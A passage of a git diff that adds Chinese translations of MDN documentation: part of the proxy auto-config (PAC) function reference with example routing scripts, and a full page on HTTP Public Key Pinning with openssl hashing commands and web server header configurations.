href="#timeRange">timeRange()</a></code></li> + </ul> + </li> + <li>日志记录功能函数 + <ul> + <li><code><a href="/en-US/docs/Web/API/Window/alert">alert()</a></code></li> + </ul> + </li> + <li>同时,还定义了一个关联数组(associative array),因为 JavaScript 目前无法自行定义它们: + <ul> + <li><code>ProxyConfig.bindings </code> {{obsolete_inline}}</li> + </ul> + </li> +</ul> + +<div class="note"> +<p><strong>注意:</strong> pactester ( <a href="https://github.com/pacparser/pacparser">pacparser </a>的一部分) 可以用来检测语法是否符合要求,使用方法如下:</p> + +<ul> + <li>PAC文件保存为 <code>proxy.pac</code></li> + <li>命令行输入: <code>pactester -p ~/pacparser-master/tests/proxy.pac -u http://www.mozilla.org。</code> + <ul> + <li>该命令中, <code>host</code> 参数为 <code>www.mozilla.org</code> , <code>url</code> 参数为<code>http://www.mozilla.org</code>。</li> + </ul> + </li> +</ul> +</div> + +<h3 id="isPlainHostName">isPlainHostName()</h3> + +<h4 id="语法_2">语法</h4> + +<pre class="syntaxbox notranslate">isPlainHostName(<var>host</var>)</pre> + +<h4 id="参数_2">参数</h4> + +<dl> + <dt>host</dt> + <dd>从 URL 中得到的主机名(端口除外)。</dd> +</dl> + +<h4 id="描述_2">描述</h4> + +<p>当且仅当主机名中没有域名时为真(没有分隔域名的点)。</p> + +<h4 id="例子_2">例子</h4> + +<pre class="brush: js notranslate">isPlainHostName("www.mozilla.org") // false +isPlainHostName("www") // true +</pre> + +<h3 id="dnsDomainIs">dnsDomainIs()</h3> + +<h4 id="语法_3">语法</h4> + +<pre class="syntaxbox notranslate">dnsDomainIs(<var>host</var>, <var>domain</var>)</pre> + +<h4 id="参数_3">参数</h4> + +<dl> + <dt>host</dt> + <dd>从 URL 中得到的主机名。</dd> + <dt>domain</dt> + <dd>域名/部分域名</dd> +</dl> + +<h4 id="描述_3">描述</h4> + +<p>如果匹配,返回true。</p> + +<h4 id="例子_3">例子</h4> + +<pre class="brush: js notranslate">dnsDomainIs("www.mozilla.org", ".mozilla.org") // true +dnsDomainIs("www", ".mozilla.org") // false +</pre> + +<h3 id="localHostOrDomainIs">localHostOrDomainIs()</h3> + +<h4 id="语法_4">语法</h4> + +<pre class="syntaxbox notranslate">localHostOrDomainIs(<var>host</var>, <var>hostdom</var>)</pre> + +<h4 id="参数_4">参数</h4> + +<dl> + <dt>host</dt> + <dd>从 URL 中得到的主机名。</dd> + <dt>hostdom</dt> + <dd>完整域名</dd> +</dl> + +<h4 id="描述_4">描述</h4> + +<p>完整域名匹配或主机名(如<code>www</code>)匹配时返回true。</p> + +<h4 id="例子_4">例子</h4> + +<pre class="brush: js notranslate">localHostOrDomainIs("www.mozilla.org" , "www.mozilla.org") // true (exact match) +localHostOrDomainIs("www" , "www.mozilla.org") // true (hostname match, domain not specified) +localHostOrDomainIs("www.google.com" , "www.mozilla.org") // false (domain name mismatch) +localHostOrDomainIs("home.mozilla.org", "www.mozilla.org") // false (hostname mismatch)</pre> + +<h3 id="isResolvable">isResolvable()</h3> + +<h4 id="语法_5">语法</h4> + +<pre class="syntaxbox notranslate">isResolvable(<var>host</var>)</pre> + +<h4 id="参数_5">参数</h4> + +<dl> + <dt>host</dt> + <dd>从 URL 中得到的主机名。</dd> +</dl> + +<p>尝试解析主机名。如果成功,则返回true。</p> + +<h4 id="例子:">例子:</h4> + +<pre class="brush: js notranslate">isResolvable("www.mozilla.org") // true +</pre> + +<h3 id="isInNet">isInNet()</h3> + +<h4 id="语法_6">语法</h4> + +<pre class="syntaxbox notranslate">isInNet(<var>host</var>, <var>pattern</var>, <var>mask</var>)</pre> + +<h4 id="参数_6">参数</h4> + +<dl> + <dt>host</dt> + <dd>一个 DNS 主机名,或者一个 IP 地址。如果传入了主机名,则会被此函数解析为 IP 地址,再进行判断。</dd> + <dt>pattern</dt> + <dd>点号(.)分隔的IP地址。</dd> + <dt>mask</dt> + <dd>子网掩码,0 代表忽略,255 代表完全匹配。</dd> +</dl> + +<p>仅在 host 属于由 pattern 和 mask 指定的ip地址段时返回true。</p> + +<p>Pattern and mask specification is done the same way as for SOCKS configuration.</p> + +<h4 id="例子:_2">例子:</h4> + +<pre class="brush: js notranslate">function alert_eval(str) { alert(str + ' is ' + eval(str)) } +function FindProxyForURL(url, host) { + alert_eval('isInNet(host, "63.245.213.24", "255.255.255.255")') + // "PAC-alert: isInNet(host, "63.245.213.24", "255.255.255.255") is true" +} +</pre> + +<h3 id="dnsResolve">dnsResolve()</h3> + +<pre class="syntaxbox notranslate">dnsResolve(<em>host</em>)</pre> + +<h4 id="参数_7">参数</h4> + +<dl> + <dt>host</dt> + <dd>要解析的主机名。</dd> +</dl> + +<p>将给定的 DNS 主机名解析为 IP 地址并返回为标准格式的 IP 地址字符串。</p> + +<h4 id="例子_5">例子</h4> + +<pre class="brush: js notranslate">dnsResolve("www.mozilla.org"); // returns the string "104.16.41.2"</pre> + +<h3 id="convert_addr">convert_addr()</h3> + +<h4 id="语法_7">语法</h4> + +<pre class="syntaxbox notranslate">convert_addr(ipaddr)</pre> + +<h4 id="参数_8">参数</h4> + +<dl> + <dt>ipaddr</dt> + <dd>点号(.)分隔的IP地址或子网掩码。</dd> +</dl> + +<p>将IP地址转换为32位整数地址。</p> + +<h4 id="例子_6">例子</h4> + +<pre class="brush: js notranslate">convert_addr("104.16.41.2"); // returns the decimal number 1745889538</pre> + +<h3 id="myIpAddress">myIpAddress()</h3> + +<h4 id="语法_8">语法</h4> + +<pre class="syntaxbox notranslate">myIpAddress()</pre> + +<h4 id="参数_9">参数</h4> + +<p><strong>(无)</strong></p> + +<p>获取当前 Firefox 所在设备的 IP 地址,并返回为标准格式的 IP 地址字符串。</p> + +<div class="warning"> +<p>myIpAddress() 返回与 <strong><code>nslookup localhost</code> </strong>命令在 Linux 主机上的执行结果相同的 IP 地址。不会返回公网 IP 地址。</p> +</div> + +<h4 id="例子_7">例子</h4> + +<pre class="brush: js notranslate">myIpAddress() //returns the string "127.0.1.1" if you were running Firefox on that localhost</pre> + +<h3 id="dnsDomainLevels">dnsDomainLevels()</h3> + +<h4 id="语法_9">语法</h4> + +<pre class="syntaxbox notranslate">dnsDomainLevels(<var>host</var>)</pre> + +<h4 id="参数_10">参数</h4> + +<dl> + <dt>host</dt> + <dd>从 URL 中得到的主机名。</dd> +</dl> + +<p>返回主机名中DNS域名级别的整数数量(域名中包含点的个数)。</p> + +<h4 id="例子:_3">例子:</h4> + +<pre class="brush: js notranslate">dnsDomainLevels("www"); // 0 +dnsDomainLevels("mozilla.org"); // 1 +dnsDomainLevels("www.mozilla.org"); // 2 +</pre> + +<h3 id="shExpMatch">shExpMatch()</h3> + +<h4 id="语法_10">语法</h4> + +<pre class="syntaxbox notranslate">shExpMatch(<var>str</var>, <var>shexp</var>)</pre> + +<h4 id="参数_11">参数</h4> + +<dl> + <dt>str</dt> + <dd>任何要比较的字符串(如URL或主机名)。</dd> + <dt>shexp</dt> + <dd>要用来对比的 Shell 表达式。</dd> +</dl> + +<p>如果字符串匹配指定的Shell表达式则返回true。</p> + +<p><strong>注意,本函数接收 shell glob 表达式而非正则表达式。</strong><code>*</code> 和 <code>?</code> 始终被支持,<code>[characters]</code> 和 <code>[^characters]</code> 只在包括 Firefox 在内的某些实现上被支持。这主要是由于 glob 表达式在内部被翻译为正则表达式。如要使用正则表达式语法,请直接使用 RegExp 类。</p> + +<h4 id="例子_8">例子</h4> + +<pre class="brush: js notranslate">shExpMatch("http://home.netscape.com/people/ari/index.html" , "*/ari/*"); // returns true +shExpMatch("http://home.netscape.com/people/montulli/index.html", "*/ari/*"); // returns false</pre> + +<h3 id="weekdayRange">weekdayRange()</h3> + +<h4 id="语法_11">语法</h4> + +<pre class="syntaxbox notranslate">weekdayRange(<var>wd1</var>, <var>wd2</var>, [<var>gmt</var>])</pre> + +<div class="note"> +<p><strong>注意:</strong> (Before Firefox 49) <code><var>wd1</var></code> must be less than <code><var>wd2</var></code> if you want the function to evaluate these parameters as a range. See the warning below.</p> +</div> + +<h4 id="参数_12">参数</h4> + +<dl> + <dt>wd1 和 wd2</dt> + <dd>One of the ordered weekday strings:</dd> + <dt> + <pre class="syntaxbox notranslate">"SUN"|"MON"|"TUE"|"WED"|"THU"|"FRI"|"SAT"</pre> + </dt> + <dt>gmt</dt> + <dd>可以指定为字符串 "<code>GMT</code>",或留白不指定。</dd> +</dl> + +<p>Only the first parameter is mandatory. Either the second, the third, or both may be left out.</p> + +<p>If only one parameter is present, the function returns a value of true on the weekday that the parameter represents. If the string "GMT" is specified as a second parameter, times are taken to be in GMT. Otherwise, they are assumed to be in the local timezone.</p> + +<p>If both <strong>wd1 </strong>and <strong>wd1 </strong>are defined, the condition is true if the current weekday is in between those two <em>ordered </em>weekdays. Bounds are inclusive, <em>but the bounds are ordered</em>. 如果指定了 "<code>GMT</code>" 参数,则使用 GMT 时区,否则使用浏览器获取到的平台本地时区。</p> + +<div class="warning"> +<p><strong>The order of the days matters</strong>; Before Firefox 49, <code>weekdayRange("<em>SUN", "SAT"</em>)</code> will always evaluate to true. Now <code>weekdayRange("<em>WED", "SUN"</em>)</code> will only evaluate true if the current day is Wednesday or Sunday.</p> +</div> + +<h4 id="例子_9">例子</h4> + +<pre class="brush: js notranslate">weekdayRange("MON", "FRI"); // returns true Monday through Friday (local timezone) +weekdayRange("MON", "FRI", "GMT"); // returns true Monday through Friday (GMT timezone) +weekdayRange("SAT"); // returns true on Saturdays local time +weekdayRange("SAT", "GMT"); // returns true on Saturdays GMT time +weekdayRange("FRI", "MON"); // returns true Friday and Monday only (note, order does matter!)</pre> + +<h3 id="dateRange">dateRange()</h3> + +<h4 id="语法_12">语法</h4> + +<pre class="syntaxbox notranslate">dateRange(<day> | <month> | <year>, [gmt]) // ambiguity is resolved by assuming year is greater than 31 +dateRange(<day1>, <day2>, [gmt]) +dateRange(<month1>, <month2>, [gmt]) +dateRange(<year1>, <year2>, [gmt]) +dateRange(<day1>, <month1>, <day2>, <month2>, [gmt]) +dateRange(<month1>, <year1>, <month2>, <year2>, [gmt]) +dateRange(<day1>, <month1>, <year1>, <day2>, <month2>, <year2>, [gmt])</pre> + +<div class="note"> +<p><strong>注意:</strong> (Before Firefox 49) day1 must be less than day2, month1 must be less than month2, and year1 must be less than year2 if you want the function to evaluate these parameters as a range. See the warning below.</p> +</div> + +<h4 id="参数_13">参数</h4> + +<dl> + <dt>day</dt> + <dd>Is the ordered day of the month between 1 and 31 (as an integer).</dd> +</dl> + +<pre class="syntaxbox notranslate">1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31</pre> + +<dl> + <dt>month</dt> + <dd>Is one of the ordered month strings below.</dd> +</dl> + +<pre class="syntaxbox notranslate">"JAN"|"FEB"|"MAR"|"APR"|"MAY"|"JUN"|"JUL"|"AUG"|"SEP"|"OCT"|"NOV"|"DEC"</pre> + +<dl> + <dt>year</dt> + <dd>Is the ordered full year integer number. For example, 2016 (<strong>not</strong> 16).</dd> + <dt>gmt</dt> + <dd>可以指定为字符串 "<code>GMT</code>",代表使用 GMT 时区进行比较;或者留白不指定,代表使用浏览器获取到的平台本地时区。</dd> +</dl> + +<p>If only a single value is specified (from each category: day, month, year), the function returns a true value only on days that match that specification. If both values are specified, the result is true between those times, including bounds, <em>but the bounds are ordered</em>.</p> + +<div class="warning"> +<p><strong>The order of the days, months, and years matter</strong>; Before Firefox 49, <code>dateRange("<em>JAN", "DEC"</em>)</code> will always evaluate to <code>true</code>. Now <code>dateRange("<em>DEC", "JAN"</em>)</code> will only evaluate true if the current month is December or January.</p> +</div> + +<h4 id="例子_10">例子</h4> + +<pre class="brush: js notranslate">dateRange(1); // returns true on the first day of each month, local timezone +dateRange(1, "GMT") // returns true on the first day of each month, GMT timezone +dateRange(1, 15); // returns true on the first half of each month +dateRange(24, "DEC"); // returns true on 24th of December each year +dateRange("JAN", "MAR"); // returns true on the first quarter of the year + +dateRange(1, "JUN", 15, "AUG"); +// returns true from June 1st until August 15th, each year +// (including June 1st and August 15th) + +dateRange(1, "JUN", 1995, 15, "AUG", 1995); +// returns true from June 1st, 1995, until August 15th, same year + +dateRange("OCT", 1995, "MAR", 1996); +// returns true from October 1995 until March 1996 +// (including the entire month of October 1995 and March 1996) + +dateRange(1995); +// returns true during the entire year of 1995 + +dateRange(1995, 1997); +// returns true from beginning of year 1995 until the end of year 1997</pre> + +<h3 id="timeRange">timeRange()</h3> + +<h4 id="语法_13">语法</h4> + +<pre class="syntaxbox notranslate">// The full range of expansions is analogous to dateRange. +timeRange(<hour1>, <min1>, <sec1>, <hour2>, <min2>, <sec2>, [gmt])</pre> + +<div class="note"> +<p><strong>注意:</strong> (Before Firefox 49) the category hour1, min1, sec1 must be less than the category hour2, min2, sec2 if you want the function to evaluate these parameters as a range. See the warning below.</p> +</div> + +<h4 id="参数_14">参数</h4> + +<dl> + <dt>hour</dt> + <dd>小时,区间为 0 到 23。(0 是午夜 0 点,1 是上午 1 点,11 是正午 12 点,23 是下午 11 点。)</dd> + <dt>min</dt> + <dd>分钟,区间为 0 到 59。</dd> + <dt>sec</dt> + <dd> 秒,区间为 0 到 59。</dd> + <dt>gmt</dt> + <dd>可以指定为字符串 "<code>GMT</code>",代表使用 GMT 时区,或者留白不指定,代表使用浏览器获取到的平台本地时区。</dd> +</dl> + +<p>If only a single value is specified (from each category: hour, minute, second), the function returns a true value only at times that match that specification. If both values are specified, the result is true between those times, including bounds, <em>but the bounds are ordered</em>.</p> + +<div class="warning"> +<p><strong>The order of the hour, minute, second matter</strong>; Before Firefox 49, <code>timeRange(<em>0, 23</em>)</code> will always evaluate to true. Now <code>timeRange(<em>23, 0</em>)</code> will only evaluate true if the current hour is 23:00 or midnight.</p> +</div> + +<h4 id="例子_11">例子</h4> + +<pre class="brush: js notranslate">timerange(12); // returns true from noon to 1pm +timerange(12, 13); // returns true from noon to 1pm +timerange(12, "GMT"); // returns true from noon to 1pm, in GMT timezone +timerange(9, 17); // returns true from 9am to 5pm +timerange(8, 30, 17, 00); // returns true from 8:30am to 5:00pm +timerange(0, 0, 0, 0, 0, 30); // returns true between midnight and 30 seconds past midnight</pre> + +<h2 id="例_1">例 1</h2> + +<h3 id="对除本地主机以外的所有连接使用代理">对除本地主机以外的所有连接使用代理</h3> + +<div class="note"> +<p><strong>注意:</strong> 以下所有示例都只针对特定需求并未经测试</p> +</div> + +<p>所有并非完全限定的主机名,以及在本地域内的主机名,都将直接连接。其他的会通过w3proxy:8080 连接。如果代理不可用,则自动回退到直连。</p> + +<pre class="brush: js notranslate">function FindProxyForURL(url, host) { + if (isPlainHostName(host) || dnsDomainIs(host, ".mozilla.org")) { + return "DIRECT"; + } else { + return "PROXY w3proxy.mozilla.org:8080; DIRECT"; + } +}</pre> + +<div class="note"> +<p><strong>注意:</strong> 这是只有一个代理服务器情况下最简单高效的自动配置脚本。</p> +</div> + +<h2 id="例_2">例 2</h2> + +<h3 id="和例_1_一样,但是对防火墙外的本地服务器使用代理">和例 1 一样,但是对防火墙外的本地服务器使用代理</h3> + +<p>如果有主机(例如生产环境中的 Web 服务器)属于本地域但在防火墙外,仅可通过代理访问,可以通过 <code>localHostOrDomainIs()</code> 来为上述主机添加例外:</p> + +<pre class="brush: js notranslate">function FindProxyForURL(url, host) { + if ( + (isPlainHostName(host) || dnsDomainIs(host, ".mozilla.org")) && + !localHostOrDomainIs(host, "www.mozilla.org") && + !localHostOrDoaminIs(host, "merchant.mozilla.org") + ) { + return "DIRECT"; + } else { + return "PROXY w3proxy.mozilla.org:8080; DIRECT"; + } +}</pre> + +<p>以上示例为 mozilla.org 域外所有主机使用代理,同时添加了例外使 <code>www.mozilla.org</code> 和 <code>merchant.mozilla.org</code> 也使用代理。</p> + +<div class="note"> +<p><strong>注意:</strong>以上例外的顺序影响效率:localHostOrDomainIs() 只在 URL 位于本地域内时执行,注意位于 || 外和 && 前的括号。</p> +</div> + +<h2 id="例_3">例 3</h2> + +<h3 id="如果无法解析域名,则使用代理">如果无法解析域名,则使用代理</h3> + +<p>这个示例可用于网络中的DNS服务器只解析内部主机名的情况,其功能是只对不能成功解析的域名使用代理。</p> + +<pre class="brush: js notranslate">function FindProxyForURL(url, host) { + if (isResolvable(host)) + return "DIRECT"; + else + return "PROXY proxy.mydomain.com:8080"; +}</pre> + +<p>以上代码每一次均会进行DNS查询,这可以通过添加其他一些规则,只在其他规则不能给出结果时进行DNS查询来解决:</p> + +<pre class="brush: js notranslate">function FindProxyForURL(url, host) { + if ( + isPlainHostName(host) || + dnsDomainIs(host, ".mydomain.com") || + isResolvable(host) + ) { + return "DIRECT"; + } else { + return "PROXY proxy.mydomain.com:8080"; + } +}</pre> + +<h2 id="例_4">例 4</h2> + +<h3 id="基于网域(Subnet)的选择方案">基于网域(Subnet)的选择方案</h3> + +<p>在此示例中,所有同一子网内的主机均直接连接,其他主机则通过代理连接:</p> + +<pre class="brush: js notranslate">function FindProxyForURL(url, host) { + if (isInNet(host, "198.95.0.0", "255.255.0.0")) + return "DIRECT"; + else + return "PROXY proxy.mydomain.com:8080"; +}</pre> + +<p>同样的,对 DNS 的使用可以通过添加冗余的规则来最小化:</p> + +<pre class="brush: js notranslate">function FindProxyForURL(url, host) { + if ( + isPlainHostName(host) || + dnsDomainIs(host, ".mydomain.com") || + isInNet(host, "198.95.0.0", "255.255.0.0") + ) { + return "DIRECT"; + } else { + return "PROXY proxy.mydomain.com:8080"; + } +}</pre> + +<h2 id="例_5">例 5</h2> + +<h3 id="负载均衡_基于_URL_模式(pattern)的路由规划">负载均衡 / 基于 URL 模式(pattern)的路由规划</h3> + +<p>This example is more sophisticated. There are four (4) proxy servers; one of them is a hot stand-by for all of the other ones, so if any of the remaining three goes down the fourth one will take over. Furthermore, the three remaining proxy servers share the load based on URL patterns, which makes their caching more effective (there is only one copy of any document on the three servers - as opposed to one copy on each of them). The load is distributed like this:</p> + +<table> + <tbody> + <tr> + <th>代理</th> + <th>用途</th> + </tr> + <tr> + <td>#1</td> + <td>.com 域名</td> + </tr> + <tr> + <td>#2</td> + <td>.edu 域名</td> + </tr> + <tr> + <td>#3</td> + <td>所有其他域名</td> + </tr> + <tr> + <td>#4</td> + <td>备用(原文:hot stand-by,活跃备用、热备用)</td> + </tr> + </tbody> +</table> + +<p>All local accesses are desired to be direct. All proxy servers run on the port 8080 (they don't need to, you can just change your port but remember to modify your configuations on both side). Note how strings can be concatenated with the <code><strong>+</strong></code> operator in JavaScript.</p> + +<pre class="brush: js notranslate">function FindProxyForURL(url, host) { + + if (isPlainHostName(host) || dnsDomainIs(host, ".mydomain.com")) + return "DIRECT"; + + else if (shExpMatch(host, "*.com")) + return "PROXY proxy1.mydomain.com:8080; " + + "PROXY proxy4.mydomain.com:8080"; + + else if (shExpMatch(host, "*.edu")) + return "PROXY proxy2.mydomain.com:8080; " + + "PROXY proxy4.mydomain.com:8080"; + + else + return "PROXY proxy3.mydomain.com:8080; " + + "PROXY proxy4.mydomain.com:8080"; +}</pre> + +<h2 id="例_6">例 6</h2> + +<h3 id="为特定协议设置代理">为特定协议设置代理</h3> + +<p>大多数 JavaScript 标准功能在 <code>FindProxyForURL()</code> 中可用。作为例子,我们通过{{jsxref("String.prototype.startsWith()", "startsWith()")}} 为不同的协议设置不同的代理。</p> + +<pre class="brush: js notranslate">function FindProxyForURL(url, host) { + + if (url.startsWith("http:")) + return "PROXY http-proxy.mydomain.com:8080"; + + else if (url.startsWith("ftp:")) + return "PROXY ftp-proxy.mydomain.com:8080"; + + else if (url.startsWith(“gopher:")) + return "PROXY gopher-proxy.mydomain.com:8080"; + + else if (url.startsWith("https:") || url.startsWith("snews:")) + return "PROXY security-proxy.mydomain.com:8080"; + + else + return "DIRECT"; + +}</pre> + +<div class="note"> +<p><strong>注意:</strong> <code><a href="#">shExpMatch()</a></code> 也可以做到,例如:</p> + +<pre class="brush: js notranslate">// ... +if (shExpMatch(url, "http:*")) { + return "PROXY http-proxy.mydomain.com:8080"; +} +// ... +</pre> +</div> + +<div class="note"> +<p>自动配置脚本也可以在服务端动态生成。这在某些情况下比较有用,例如根据客户端地址指定不同的代理服务器。</p> + +<p><code>isInNet()</code>, <code>isResolvable()</code> 和 <code>dnsResolve()</code> 应该谨慎使用,这些函数会进行 DNS 查询。其他函数则大都是字符处理函数,不需要 DNS 。如果通过代理连接,代理本身也会进行一次 DNS 查询,这产生了额外的 DNS 请求。并且绝大多数情况下,不需要这些函数来实现特定的功能。</p> +</div> + +<h2 id="历史与实现">历史与实现</h2> + +<p>Proxy auto-config was introduced into Netscape Navigator 2.0 in the late 1990s, at the same time when JavaScript was introduced. Open-sourcing Netscape eventually lead to Firefox itself.</p> + +<p>The most "original" implementation of PAC and its JavaScript libraries is, therefore, <code>nsProxyAutoConfig.js</code> found in early versions of Firefox. These utilities are found in many other open-source systems including Chromium. Firefox later integrated the file into <code><a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/base/ProxyAutoConfig.cpp">ProxyAutoConfig.cpp</a></code> as a string literal.</p> + +<p>Microsoft in general made its own implementation. There used to be <a href="https://en.wikipedia.org/wiki/Proxy_auto-config#Old_Microsoft_problems">some problems with their libraries</a>, but most are resolved by now. They have defined <a href="https://docs.microsoft.com/en-us/windows/win32/winhttp/ipv6-extensions-to-navigator-auto-config-file-format">some new "Ex" suffixed functions</a> around the address handling parts to support IPv6. The feature is supported by Chromium, but not yet by Firefox (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=558253">bugzilla #558253</a>).</p> diff --git a/files/zh-cn/web/http/public_key_pinning/index.html b/files/zh-cn/web/http/public_key_pinning/index.html new file mode 100644 index 0000000000..85cd9454fb --- /dev/null +++ b/files/zh-cn/web/http/public_key_pinning/index.html @@ -0,0 +1,159 @@ +--- +title: HTTP Public Key Pinning (HPKP) +slug: Web/HTTP/Public_Key_Pinning +translation_of: Web/HTTP/Public_Key_Pinning +--- +<div> +<p>HTTP公钥锁定(HPKP)是一种安全功能,它告诉Web客户端将特定加密公钥与某个Web服务器相关联,以降低使用伪造证书进行MITM攻击的风险。</p> + +<p>为确保TLS会话中使用的服务器公钥的真实性,此公钥将包装到X.509证书中,该证书通常由证书颁发机构(CA)签名。诸如浏览器之类的Web客户端信任许多这些CA,它们都可以为任意域名创建证书。如果攻击者能够攻击单个CA,则他们可以对各种TLS连接执行MITM攻击。 HPKP可以通过告知客户端哪个公钥属于某个Web服务器来规避HTTPS协议的这种威胁。</p> + +<p>HPKP是首次使用信任(TOFU)技术。 Web服务器第一次通过特殊的HTTP标头告诉客户端哪些公钥属于它,客户端会在给定的时间段内存储此信息。当客户端再次访问服务器时,它希望证书链中至少有一个证书包含一个公钥,其指纹已通过HPKP已知。如果服务器提供未知的公钥,则客户端应向用户发出警告。</p> +</div> + +<p> </p> + +<p class="note">Firefox和Chrome禁用固定主机的引脚验证,其验证的证书链终止于用户定义的信任锚(而不是内置信任锚)。 这意味着对于导入自定义根证书的用户,将忽略所有固定违规。</p> + +<h2 id="启用_HPKP">启用 HPKP</h2> + +<p>要为您的站点启用此功能,您需要在通过HTTPS访问站点时返回Public-Key-Pins HTTP标头:</p> + +<pre>Public-Key-Pins: pin-sha256="base64=="; max-age=<em>expireTime</em> [; includeSubDomains][; report-uri="<em>reportURI"</em>] +</pre> + +<dl> + <dt><code>pin-sha256</code></dt> + <dd>引用的字符串是Base64编码的主题公钥信息(SPKI)指纹。 可以为不同的公钥指定多个引脚。 某些浏览器将来可能允许使用其他哈希算法而不是SHA-256。 请参阅下文,了解如何从证书或密钥文件中提取此信息。</dd> + <dt><code>max-age</code></dt> + <dd>浏览器应记住仅使用其中一个已定义的密钥访问此站点的时间(以秒为单位)。</dd> + <dt><code>includeSubDomains</code> {{optional_inline}}</dt> + <dd>如果指定了此可选参数,则此规则也适用于所有站点的子域。</dd> + <dt><code>report-uri</code> {{optional_inline}}</dt> + <dd>如果指定了此可选参数,则会将引脚验证失败报告给给定的URL。</dd> +</dl> + +<div class="note"> +<p><strong>注意</strong> :当前规范要求包含第二个用于备份密钥的引脚,该引脚尚未在生产中使用。 这允许更改服务器的公钥,而不会破坏已经记下引脚的客户端的可访问性。 例如,当前一个密钥被泄露时,这很重要。</p> +</div> + +<h3 id="提取Base64编码的公钥信息">提取Base64编码的公钥信息</h3> + +<div class="note"> +<p><strong>注意:</strong>虽然下面的示例显示了如何在服务器证书上设置引脚,但建议将引脚放在颁发服务器证书的CA的中间证书上,以简化证书续订和轮换。</p> +</div> + +<p> </p> + +<p>首先,您需要从证书或密钥文件中提取公钥信息,并使用Base64对其进行编码。</p> + +<p>以下命令将帮助您从密钥文件,证书签名请求或证书中提取Base64编码信息。</p> + +<p> </p> + +<pre>openssl rsa -in my-rsa-key-file.key -outform der -pubout | openssl dgst -sha256 -binary | openssl enc -base64</pre> + +<pre>openssl ec -in my-ecc-key-file.key -outform der -pubout | openssl dgst -sha256 -binary | openssl enc -base64</pre> + +<pre>openssl req -in my-signing-request.csr -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64</pre> + +<pre>openssl x509 -in my-certificate.crt -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64</pre> + +<p>以下命令将提取网站的Base64编码信息。</p> + +<pre>openssl s_client -servername www.example.com -connect www.example.com:443 | openssl x509 -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64</pre> + +<h3 id="HPKP_头示例">HPKP 头示例</h3> + +<pre>Public-Key-Pins: + pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="; + pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="; + max-age=5184000; includeSubDomains; + report-uri="<em>https://www.example.org/hpkp-report"</em></pre> + +<p>在此示例中,pin-sha256 =“cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2 + soZS7sWs =”固定服务器在生产中使用的公钥。 第二个引脚声明引脚-sha256 =“M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE =”也固定备份密钥。 max-age = 5184000告诉客户端将此信息存储两个月,根据IETF RFC,这是一个合理的时间限制。 此密钥固定也适用于所有子域,includeSubDomains声明告知。 最后,report-uri =“https://www.example.net/hpkp-report”解释了报告引脚验证失败的位置。</p> + +<h3 id="Report-Only_header">Report-Only header</h3> + +<p>Instead of using a {{HTTPHeader("Public-Key-Pins")}} header you can also use a {{HTTPHeader("Public-Key-Pins-Report-Only")}} header. This header only sends reports to the <code>report-uri</code> specified in the header and does still allow browsers to connect to the webserver even if the pinning is violated.</p> + +<h3 id="Setting_up_your_webserver_to_include_the_HPKP_header">Setting up your webserver to include the HPKP header</h3> + +<p>The concrete steps necessary to deliver the HPKP header depend on the web server you use.</p> + +<div class="note"> +<p><strong>Note:</strong> These examples use a max-age of two months and include all subdomains. It is advised to verify that this setup will work for your server.</p> +</div> + +<div class="warning"> +<p id="HPKP_has_the_potential_to_lock_out_users_for_a_long_time_if_used_incorrectly!_The_use_of_backup_certificates_andor_pinning_the_CA_certificate_is_recommend.">HPKP has the potential to lock out users for a long time if used incorrectly! The use of backup certificates and/or pinning the CA certificate is recommended.</p> +</div> + +<h4 id="Apache">Apache</h4> + +<p>Adding a line similar to the following to your webserver's config will enable HPKP on your Apache. This requires <code>mod_headers</code> enabled.</p> + +<pre>Header always set Public-Key-Pins "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains" +</pre> + +<h4 id="Nginx">Nginx</h4> + +<p>Adding the following line and inserting the appropriate <code>pin-sha256="..."</code> values will enable HPKP on your nginx. This requires the <code>ngx_http_headers_module.</code></p> + +<pre>add_header Public-Key-Pins 'pin-sha256="base64+primary=="; pin-sha256="base64+backup=="; max-age=5184000; includeSubDomains' always;</pre> + +<h4 id="Lighttpd">Lighttpd</h4> + +<p>The following line with your relevant key information (pin-sha256="..." fields) will enable HPKP on lighttpd.</p> + +<pre>setenv.add-response-header = ( "Public-Key-Pins" => "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains")</pre> + +<p><strong>Note:</strong> This requires the <code>mod_setenv</code> server.module loaded which can be included by the following if not already loaded.</p> + +<pre>server.modules += ( "mod_setenv" )</pre> + +<h4 id="IIS">IIS</h4> + +<p>Add the following line to the Web.config file to send the <code>Public-Key-Pins</code> header:</p> + +<pre class="brush: xml"><system.webServer> + ... + + <httpProtocol> + <customHeaders> + <add name="Public-Key-Pins" value="pin-sha256=&quot;base64+primary==&quot;; pin-sha256=&quot;base64+backup==&quot;; max-age=5184000; includeSubDomains" /> + </customHeaders> + </httpProtocol> + + ... +</system.webServer> +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7469", "Public-Key-Pins", "2.1")}}</td> + <td>Public Key Pinning Extension for HTTP</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Public-Key-Pins")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Public-Key-Pins")}}</li> + <li>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</li> + <li>Browser test site: <a href="https://projects.dm.id.lv/Public-Key-Pins_test">HSTS and HPKP test</a></li> +</ul> diff --git 